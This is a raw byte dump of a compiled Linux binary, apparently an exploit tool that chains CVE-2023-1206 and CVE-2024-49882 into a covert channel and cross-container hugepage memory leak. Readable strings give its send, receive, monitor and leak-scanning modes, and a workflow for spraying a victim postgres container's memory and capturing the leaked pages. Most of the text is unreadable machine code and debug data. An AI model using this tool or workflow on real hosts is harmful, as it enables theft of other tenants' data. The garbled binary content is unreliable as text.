Y,O�YUsw,[cl%�ZU	Ps%O)ZUs�%�U	P5@��-$��Zcout�,�ZUda	�:T9��O$$'���4P$N$#55��,<�$]9m��e$]$Blen�'8�$�$"p�j.�$�$5"i�8�$�$! -|["j�8%%%CF^ -\�2U^B%@%7-�U2T	+P|�["j�8^%X%F^�-���[U^{%y%�-�ca-�F^�,F�	C\U^�%�%�,�"\U2T	"P-�U2T	"PeF^�,�,��\U^�%�%�,�U2T	PQsF^=-l�
�\U^�%�%S-�U2T	(PCF^�-��
U^�%�%�-�`U	)P:�{?];ts}c:G
td];lovD;hivD(�)��]U)�	)�(g\
�]6	\�\�\8(�9K�]6	9KB9��98(�K)^6	M���8:q""F^�""(�T�c^IT (�M��^M"IM<f�R��^g__cR�DEP�1C� _F^�1�:_U^�%�%�1�`U	dPhSP�TP&&D4�?��c`-4T&H&94�&�&E4�&�&Q4�&�&]4'�&g49'7'r4~4�4�44�?Z�Q4Q'G'E4�'}'94�'�'-4�'�'k]4g4r4�'�'~4(
(�41(/(�4�]�?�^C(?(^o(g(^�(�(�
=== Received Message ===
)���========================
�No message received
�
=== Results ===
)���Running self-test...

)g]���╔════════════════════════════════════════════════════════════════╗
J�H║  Combined Covert Channel: CVE-2023-1206 + CVE-2024-49882       ║
I�G║  Sync: IPv6 Hash Collision | Data: Hugepage Cross-Container   ║
���╚════════════════════════════════════════════════════════════════╝

�
=== Statistics ===
)��i���--- Context ---
�
--- End ---
�%c)���
5�3[Monitor] Starting passive hugepage monitoring...
#�![Monitor] Press Ctrl+C to stop

�	
Modes:
3�1  -s MESSAGE    Send message via covert channel
6�4  -r            Receive message via covert channel
1�/  -t            Self-test (both send/receive)
9�7  -m            Monitor mode (passive leak detection)
?�=  -l            Leak debug mode (analyze hugepage contents)
9�7  -L            Leak debug continuous (keep scanning)

�
Options:
G�E  -T ADDR       IPv6 target address for sync channel (default: ::1)
"�   -v            Verbose output
"�   -h            Show this help
�
Examples:
�
Leak Testing Workflow:
1�/  1. Start victim:    docker run ... postgres
J�H  2. Spray memory:    docker exec victim psql -c "SELECT ..." (repeat)
B�@  4. Stop victim:     docker stop victim  (releases hugepages)
*�(  5. Watch for leaks in scanner output
$�"[RX] Successfully captured data!
$�"[RX] Waiting for transmission...
#�![RX] Waiting for data signal...
 �[RX] No data signal received
A�?[RX] Scanning for data (allocating hugepages aggressively)...
�[RX] Scan complete:
�[Sync] Sending preamble...
"� [TX] Data written to hugepage:
A�?[TX] Sending ready signal (receiver should start scanning)...
C�A[TX] Waiting 2s before release (receiver should be scanning)...
=�;[TX] Releasing hugepage (CVE-2024-49882 trigger point)...
9�7[TX] Receiver should now capture the leaked hugepage!
$�"[TX] Failed to allocate hugepage
)���"
.�,    Type: LEAKED DATA (not covert channel)
2�0[LeakDebug] Starting hugepage leak analysis...
T�R[LeakDebug] This mode analyzes what data is present in newly allocated hugepages
Y�W[LeakDebug] Run memory-intensive operations in victim container to populate hugepages
F�D[LeakDebug] Then stop the victim to release hugepages for capture

!�

[LeakDebug] === Summary ===
7�5[LeakDebug] Continuous mode - press Ctrl+C to stop

?�=      [FOUND] MAGIC 0xCAFEBABE (Covert Channel Data Frame!)
�    Pattern scan:
#�!      (no known patterns found)
�    First 256 bytes:
?�=      [FOUND] MAGIC 0xDEADBEEF (Covert Channel Sync Frame!)
�[Sync] Preamble timeout
"� [Sync] Waiting for preamble...
*�([Sync] Calibrating baseline latency...
�|
I~1�BH}1R�BX!YWIH}64:!;9I�B	
:;9I8
4:!;9I�B1R�BUX!YWH}
:;9IU!IU41�B.?:;9'I<:;9I:!;9I�B41.?:;9'I<I$>!I/(1R�BUX!YW(1R�BUX!YW7I .?:!;9'I@z!"4:!;9I�B#&I$.?:!;9!'@z%4:!;9I&41'4:!;9I�B(.?:;9!'I !4).?<n:!#;!*:;9!+
:;9I,
:!;9I8-4:!;9I.1/1R�BX!YW04:;9I?<14:!;9I24:!;9I3:!;9I�B4:!;9I5.?:!;9!'@z6<7H}�84:!;9!I9:!;9I�B:.:;9'I !;4:!;9I<!:!;9!	=.?:;9!
'<>.?:!;9!'<?H}�@A.?:!;9'IU@zB:!;9I�BC1R�BUX!YWD.1@zE%UFG$>H5II:;9J:;9K&L:;9IM'N>I:;9O>I:;9P(Q:;9R:;9S4:;9IT:;9U!I/V.?:;9'�<W.?:;9'I<X.?:;9n'I<Y'IZ.?:;9'I<[1\:;9I]1U^.?:;9'I _.?:;9' `4:;9Ia4:;9Ib4:;9Ic:;9Id:;9Ie1R�BXYWf.?:;9'I g:;9Ih1Ui.?<n)��
Eh�����%#,5=yFM5yT`r���������������'2=	0+�K
��z.^z�X�	�Y�t���
�	�,	�
�X��
��X�Z	X��0dh	u	�J	u�fPu�	�,�K
�	�M	1
OX.	2&fJ"UJ	��N
X	1M	1
OX.	2&J2�J
.4�
LJX.4'f
I6
J<.
6-JYXf��G�46
JJX46-X
E
"/t
QJX"/�
X f<
XK'/-'Ye/'s=L.�	i�	1q���	��Xyf8[�~
	�t
�~XX��~
�J�
�~���
�~�XZ
	Y	=	L�/!J.	�!�ff	�XY�/!J.	�!�<f	�Y=W	gX#vf
$
�~J$��
�~�$�.Ju�~
X�4K���
�~f�JoOS+'ytJ��~��~X
�<���Z�~�&��X=�	�	/J�~�&��X	X�X
y�u.�
�~f�J�5y<3a���~�
�~X	�X<
�~��vZ
	=	/	L�~/!J.	�!�~Xf	�XY�~/!.J	�!�~.f	�Y=W<	=X#vf
�I =sK X�L�)�Jt ��X	�1K�~�
�~ �t
�~.X�

Z.V
>.V	Y
[.T
@.TX �	�9
�~Jt�&	rTJ��~(
X<X��~�1��~f��1	u�~�&��X<	]	YX
KJ1xxf16f
J�}
X�/X.
s��~
�
�t
Xg���Y	��	X�0�}J���tW�X0P�,>Yu�h	c�	�u�.�g���Y��Y0�}J���tW�X0��>n�=X�|
���uu�	p#uu�f	�u.x	lz<	�7	$*��

ZW
=</t!J,*	�J
	XKuJK,tXX+
�}J+���|J+�
�}�X+�t�
�}�X�J(KI(g��|J
���|
X��y�yXQ/x����|
	��
�|<X�
vt
�|X��	�	u
Y 
=�|
�X
���#
JJX��"ht6%Y6;tK%
�|X9��=Y��|
t�*Z
�|X�t�<&��|
t�2�*�KI=uY�|
<*�t
�|JX2�*X�|
��%��|%�
�|JtX.	��|
��	��|
�	��	rZJ	dNX�|
�	�
�|X��	=�|
�	��|
J	�<
��|
��X
�|X
�$��;Y;=�|�$�
�|J�,�$
\�|
�X	��|
�X�@K�|�
�|�t�
�|�X��|
���|
���|
��z�	��<
Y�{
�
�	�����	Y>q	=
/9
?2$�;�2�
1"� +\"
\KZ��|
J
��s����{
t�
��	���{
���{
J��{
J��{
f��{
f��{6�J
�{J6�t
�{J6���Kf...-
�{JX�IK�|
��
�|Jt��|
t��|
X��|
XX�!f��|
'��
�|<X�6*��<.6�%*=J%�=�|<C�6J
�|J<XC�6
�|����|
XX��{
� 
�|XX��{
���{
X��	I�|
���K�/=M�
J.�	h;K'-[?
!�	f3�!J�X.	r��{
<�
�{J<�X�
fw
!�K%@.z�=xmX</X.=�X9�z1�
�zJ4�.�.��K�{�
�{.�<
�{<�.
�{ X�
�{<t��| 
�~.X��|�~
��

h.V
>.V	Y
[.T
@.TX����g��Z�z
���z
t��z
���z
X��z
t��z
����z
����z
��ˠ�z
���z
��/  .	` �{
�	�#� 
�zJt���z
X�	���z
�t
�z.X�
&	K
3W	@
U	13T&��	�z
�	��J�z
(t	�X-
�z.X��z
	�.
�z<�
�z�X��z���zf��C�z�&�+�X<C�	�Y;	=	�+	?oP
�$\�	�	��
�z��	���CO4��z
���z
J��z
J��z
X��y
����X
�y#
�t�z
XXXJ
�X�z
X
��~z IK�W=��#�
�zX#�t��z
X��z
f��z
f	���CO4�z
���z
J��z
J��z
X��y
���~t�z1�
�zJ��J����X�
�y�Jf�XK�y�
�y ��
�y<tX��y
���y
���y
���y
���y
���y
���y
���y
���y
���y
���y
���y
���y
X��y
X��y
X��y
X��y
���y
���y
���y
X��y
���y
�t
�y ��
�yf�t���y
X��y
��kx	zt1xf�xJ`	2J	=f=	��K	�	�%�+�%JJ���Y(
�y<<��(T=�y
�X�<=
�yX<�t'KsKv�y
X�.Z�(XY!J6.�!K!I=(6t�y
.�t
�yJX6�.X�y
�t
�yJX�+n% XXn�

�*ff�y
�
��y
�
�X�y
��
�yJ�X
�y �t
�y �.
�y���>�y
t�<|XyX�y
#��
�y<�X
�yfX�2&2�!&Y�!W=�yJ>�2J
�yJ�>�2\�y
�.		`%��urX�&X�
	�%�hr	/;	�yt�/	6�6�	�<
��.
�)
�g.
u
h0
�
guX�y
t
�2
uX
g	hX#��x
���x
���x
���x
������x
��	X�	��x
X	��<<Y4�x
���x
���x
���x
���x
��Y�X	&��x
JJ	��	>X�HX�x
�	�
��x
�
�
u���<<Yt
j�-
=V
Z ��x
���x
���x
�X	�Y	\�x
JJ	��2X.�U=V0�ZX	J	�`X�x
�	�X�x
���x
X��xX
��$�tZ��x<
.X�duration_ms__streamsize_tsa_familystartsockaddr_in6munmap_ISgraph__fmt_IO_codecvtdata_out_IO_save_end__bswap_16seq_outSOCK_RAW__clockid_tsin6_addr_IO_write_baseopenputcstate_locklast_bitpthread_createdata_errors_IO_save_baseratio_chainwaitpid_cur_column__printf_chk__uint8_tbits_receivedcraft_collision_addr__pathreadyusleepsocksetsockoptSOCK_DCCPSOCK_RDM__fprintf_chk_IO_markermaincopy_ISprintioctlbaseline_latency__builtin_memcmpget_ns_IO_FILE_IO_wide_dataSOCK_SEQPACKETunsigned char_freeres_listattemptsinet_ptoncovert_foundreceived_lensin6_scope_id__syscall_slong_t__socket_typeSOCK_STREAMsync_receive_bit_IO_lock_t__uint16_tsignal__builtin_memcpyprogsync_send_pulse_IO_read_ptrdoublesync_server_threadsin6_port__socklen_tmmapgetopt_markers_ISpunctsamplesinterval_usmatchbufferdata_read_hugepagein_zero_runsync_errorsbindsync_channel_initis_covert__builtin_fwrite__uint64_t__bsxpthread_t_flags2sync_server_fd_IO_read_base_unused2leaked__open_aliasmonitor_modenon_zero__sizechannel_state_t_ISxdigitGNU C17 13.3.0 -mtune=generic -march=x86-64 -g -O2 -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectionargc_old_offsetleak_debug_modeargvsequence_numbertimeout_ms__uint32_tverbose__u6_addr8__chlong long intconnect__builtin_strncpy_ISuppershared_key__ctype_b_loc__useconds_t_IScntrl_IO_write_endmemmem__builtin_putsudmabuftimeoutpthread_attr_tout32countsignal_handler_IO_buf_base__open_too_many_argsperrorbuflenhexdumpdata_alloc_hugepagedata_write_patternftruncate__pad5SOCK_NONBLOCKsync_channel_cleanup_flags__builtin_putchar__stack_chk_failsin6_family__pid_ttimespecSOCK_DGRAMhugepage_available_ISalphareceive_messagelong long unsigned intsa_family_t_ISblank__off_t_ISalnumtransmit_messagememfdsa_data_freeres_buf_ISspacelistensockaddr__time_t__open_missing_modememsetvariationdata_check_patternfork_IO_backup_base_shortbufcalc_cksumsync_runningmalloc__align__off64_t__CONST_SOCKADDR_ARGsync_send_preambleprintablesync_scope_id_IO_buf_endprint_usageudmabuf_createSOCK_CLOEXECfcntlfprintf__src_ISlowerSOCK_PACKET__lenstderrshort intpatternssync_targetdebug_analyze_hugepagezero_runstv_nsectransitions_vtable_offset__destlen_out__sighandler_tacceptmagictarget_xorsocketstrlenfound_totalnon_zero_pagespthread_join_IO_read_end__u6_addr16syscall_filenooptarg__oflagfree_ISdigitfound_anystart_timeshort unsigned intstdouthugepages_capturedsync_wait_preamblebits_sentrdtsc_IO_write_ptrclock_gettimeexit__u6_addr32continuous__SOCKADDR_ARGsin6_flowinfoclosefflushclienttv_sec__open_2in_port_tin6addr_any__in6_ucovert_channel.c/home/vlad/Desktop/convert_channel_bug_exploitation/usr/include/x86_64-linux-gnu/bits/usr/lib/gcc/x86_64-linux-gnu/13/include/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/x86_64-linux-gnu/sys/usr/include/netinet/usr/include/arpastring_fortified.hstdio2.hfcntl2.hstdio.hstddef.hstruct_FILE.hclockid_t.hstruct_timespec.hpthreadtypes.hstdint-uintn.hunistd.hgetopt_core.hsignal.hsockaddr.hsocket.hin.hstdio2-decl.hwait.hstring.hstdlib.hmman.hioctl.htime.hpthread.hinet.hfcntl.hctype.hbyteswap.h<built-in>socket_type.h�(�%MUM�V���U���V���U���V���U���V��	�U��%MTM�S���T���S���T���S���T���S���T���S���T���S��	�T��%0�p1���5���6��%
T�w_�%0�fp1�
&P��P�(�c`�(
�T�)��`�)��`�(P,S��P��S��S�)��`�)
�T��)
�T�*
�T�z(��`�&?��&
@���&�a�&��a�&�b�&�jb '
9T�j'
WT��'�9c�'
U��'
5U��'
NU��'
gU�(
�d�S(
�d�/)
Pd�jH��S���8�HO0�x���~����~����~����~�Hx0�x���~��P����~����~�H:VBZPZ�V��VLJ
v��vSI|�#�3%�

|�#�3%#�

|�#�3%#�!�|�#�3%���|�#�3%���|�#�3%�SIP19P�IPR+_+6�~��I S�Iz_��_�IS�I	R3Rv�RJu��fJ.��I
ha��I�dc)J�yc�JvK�SOK
0�
9_9E�EV_�KT�K��cK
�a�/K 
T��K
��c�J$
�a�YH��c^H��c�JA
�a���
�a��FUQ�S���U��F
�S��F��c�F�
dG�?dG�wdG��d*G��d6G�&eBG�aeNG�peZG��efG��erG�f~G
_��G
P_��G
�_��G
�_��G�f�G�.f�G�af�G
�`�H��fBU�����	�U�B;T;�����	�T�B;Q;�����	�Q�lB0�p $0.��!s $0.��!+0�<Xs $0.���B�0���0���1���0���0��B!0�!mSmps�p�S��S��S�B!0�!�V��V��V�B!0�!�\��\��\C~ʚ;��"�C��ȯ�%����ȯ�%����ȯ�%�lB0�Vv�VV^C!P!�Z��Z������Z����������������lC�R��R��R��zlC0�lCP�Z��Z������Z����������������lC0�ME
X��X��XE
�\� E7��&����&����& E7��&����&����& E7����Z��Z E7��7bZb�����Z��Z E7����z��z��z2E%��&����&����&2E%��&����&����&2E%����Z��Z:EQ��Q��Q:EP��P��X��P��P��z��X:E��#��z��z��z2FlXv�X2Fz�2T2=z�=dTdlz�v�T~E�g�E
S��E
S��D

]�GB�Cg^B�ig�B��g�B��g�B%
P\��D
pS���
pS�LD��g����gXD
6S���
6S�mD
�\���
�\��D
QS���
QS�p@U�\���U���\p@T%Q%�V���T���V�@P�S��P��St@"
�R��@0�Ss�%S%*s�*/S�@�hA�,hA
�Z�2A
�R�KA
�R�aA
�R�yA�Ph�A��h�A��h�A
h[��A�i�A�Ri?*U*tVtw�U�w�U��V?*T*w�T�w�T��v���T�?*Q*v\vw�Q�w�Q��\?*R*w�R�w�R���R�?(X(*xp�*w�X�w�X���X���X�?&U&pVps�U�s�U��V$?0�.Qu�0�$?0�u�0�I?	X.X]_0�w?X"�Xw?R"�R�w?u�U"v��:U�]���U���]�:#T#�\���T���\�;Ss��S��S��S������S7;�V��V��V������V7;���7;�����������7;p^��P��^��^�;�_��_��_��~��_�;�r����r����r���;0��;�^��^�;0��=L_�=��->0�=_=I�Ik_c>Usf>��c�=
xX��=
�X��=
�Q��=
�Q�>
�Q��>��ig<
�X��<
�Y��>
Y��>��i�>
�Q�Y;!
�Y��: ��i�:��i;�Bj;��j�<��j=
R�=
8R�.=
TR�E=
pR�\=@
Z��>�k�5EUE�	��~�5ETE�	��~#6U�	��~#60��V��V�	�	V#60��\��\�	�	\#60��_��_�	�	_#60�	P/MPMR1�RxP7��P���h�7$P��P��P80�Zh1���1�#60�	:��~#:YSb:0��:R�:��c�9�Ak:

 Q�':
>Q�J:
\Q��:��i80�%
|�#�3%#�%h|�#�3%�hz
|�#�3%#�z�
|�#�3%#���|�#�3%���
|�#�3%#���
|�#�3%#�K8PS8Sx�S�8E^9&S9^(9TQ-<T<KQbsTswUa9
�Q�(9.��9
t��
U9
�Q�y9��iS8
�V��6+
�U��6
 V��6

Q��7��k�9��k�9��k�:��k�4P�]��]��]�4P0U0�V��V��P��V5#P#rS��SB5PK^ktPtu^U5P8\�42��4
�P�Z5@A$�Z5^Z5P\d3P�\��\��\�3P0U0rV��V�3P?SluPu�S4P]�32��3
�P�02U V ��U�q2 0� �\��\q2 	�� [S[iPimS��S�2~ʚ;��"��2{V{��U $ &@B���V�2PS3�li2�6l�2
�U��00�W^Zv^R1d~�*:�*��g�~�*:�*���14aVZa�00�1P�S��S1Q2\41QV	1P	1Q&1P&1Q�0L��00��0
���
_�/U"V"��U��/hVk�V�/0�0PD[P[eS�/L��/0��/���c.00�0�]��S��]c.�d��.0��.P�_�.Q3V�.S�.P�.Q�.P�.QR.�Zlc.&L�c.&0�c.&^'/
GP�@+U��U�`%)�U�s+(P(�S��S`%S#P3,
P�+!L��+!0��+	���	!T�-Q
P
	p�
 '�$u��
 '��- U�,%U%�V���U���U�,%T%�^���T���T�,!U!�V���U���U�,!0�!�S��s���S��0� -\|�\ -
+P�W-2]27}�7U]�-	��c�,
"P�Vn
"P��,
P�=-
(P��-��l�1�h�10�
S
s�$S$)s�)/S�?8U8@�U�@xUx�tp����U���U�?,T,��T��?	Q	�X�?8R8@�R�@�R���R���R�?4U4<�U�<tUt�tp����U���U�?!u�?'R',�R�/uRu��R���R�?,X/�X�?T,�T�/��T��?'U',�U�/gUg�tp����U���U�?u�?$P,�P��P�?u�?Y	p�����ct	p������?u�WTWa�U#�ctT�?aXctX-@+�`%)�+	!!&�,	$��,SSXk -=-=-V�-	�-�-��%R.Y.:�Y.?��.�.c.&&+/&+�/008F�/8
0^x�055:?BK�0}�0w1
$1
�1
�15A2((+0i2(�24��~6$6;�78��8f��86f��89N�8$9r��95>_ch��9PZ^c�98��8����8�������::J:�:	 @;Pg����;����=>%>Z->"9AIf>>�>\=;@$?"u{I?&]_�?�?,/��?

,/��?tt@
"�@B�@B&B!&^B	eB2�B�B3@FT�B %SC���������lCy�D'E�����E E7����2E%����2E%����2Fq~�gED	����LD��XD��mD���D���FH
6H#(I%3���JI���JI���iI��������I��������I!�I"�IR���I&?CH��J)J/K
 <K]DK'@HP�K�J$%,-/7@��z(?V)<R��(l��0+�@`%B�%�	�	� �$ �,�h2`%)J�%a@�@m�xp*z�*��*�Ȁ�X|� +�P|m��k�p|�e+`~ARf02y036��� ���� ���0P�!`|'>Pi�-d{���`/��K���/��@+7���-$*<p4nOa0+p��������� ���
B�,P;Q�,<Yl�H��@*&������%�����$7J]n�����0Hz��:'��FY� �p@���5�$?�|7"u Rc{��1C�����?��Scrt1.o__abi_tagcovert_channel.crunningstatesync_server_thread.coldsync_channel_init.coldsync_targetcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE_free@GLIBC_2.2.5putchar@GLIBC_2.2.5sync_wait_preambledata_alloc_hugepage__libc_start_main@GLIBC_2.34strncpy@GLIBC_2.2.5_ITM_deregisterTMCloneTablestdout@GLIBC_2.2.5sync_receive_bitputs@GLIBC_2.2.5in6addr_any@GLIBC_2.2.5setsockopt@GLIBC_2.2.5fcntl@GLIBC_2.2.5clock_gettime@GLIBC_2.17sync_channel_init_edatasync_channel_cleanup_finistrlen@GLIBC_2.2.5sync_send_pulse__stack_chk_fail@GLIBC_2.4sync_server_threadmmap@GLIBC_2.2.5craft_collision_addrftruncate@GLIBC_2.2.5ioctl@GLIBC_2.2.5data_read_hugepageclose@GLIBC_2.2.5signal_handlermemcmp@GLIBC_2.2.5__data_startputc@GLIBC_2.2.5signal@GLIBC_2.2.5optarg@GLIBC_2.2.5syscall@GLIBC_2.2.5__gmon_start__memmem@GLIBC_2.2.5__dso_handlememcpy@GLIBC_2.14receive_message_IO_stdin_usedinet_pton@GLIBC_2.2.5hexdumpmalloc@GLIBC_2.2.5fflush@GLIBC_2.2.5listen@GLIBC_2.2.5_end__bss_startmunmap@GLIBC_2.2.5main__printf_chk@GLIBC_2.3.4bind@GLIBC_2.2.5pthread_create@GLIBC_2.34waitpid@GLIBC_2.2.5open@GLIBC_2.2.5perror@GLIBC_2.2.5getopt@GLIBC_2.2.5accept@GLIBC_2.2.5exit@GLIBC_2.2.5connect@GLIBC_2.2.5fwrite@GLIBC_2.2.5__TMC_END__monitor_modeleak_debug_modeprint_usage_ITM_registerTMCloneTabletransmit_messagedebug_analyze_hugepagepthread_join@GLIBC_2.34data_write_pattern__cxa_finalize@GLIBC_2.2.5fork@GLIBC_2.2.5__ctype_b_loc@GLIBC_2.3usleep@GLIBC_2.2.5sync_send_preamblestderr@GLIBC_2.2.5data_check_patternsocket@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.data.rel.ro.dynamic.data.bss.comment.debug_aranges.debug_info.debug_abbrev.debug_line.debug_str.debug_line_str.debug_loclists.debug_rnglists#8806hh$I�� W���o��8a���i��q���o�
�
f~���o88���� �B����  �    ���"�"��"�"��`%`%J&��K�K
�PP���e�e���f�fX�P|Pl�X|Xl�`|`l 
p|pl��`~`n��p� ���p� 0�p+'�pP6�p�lB���P� )\0+
�
g0KwZ�(�C18K�	&	U��[�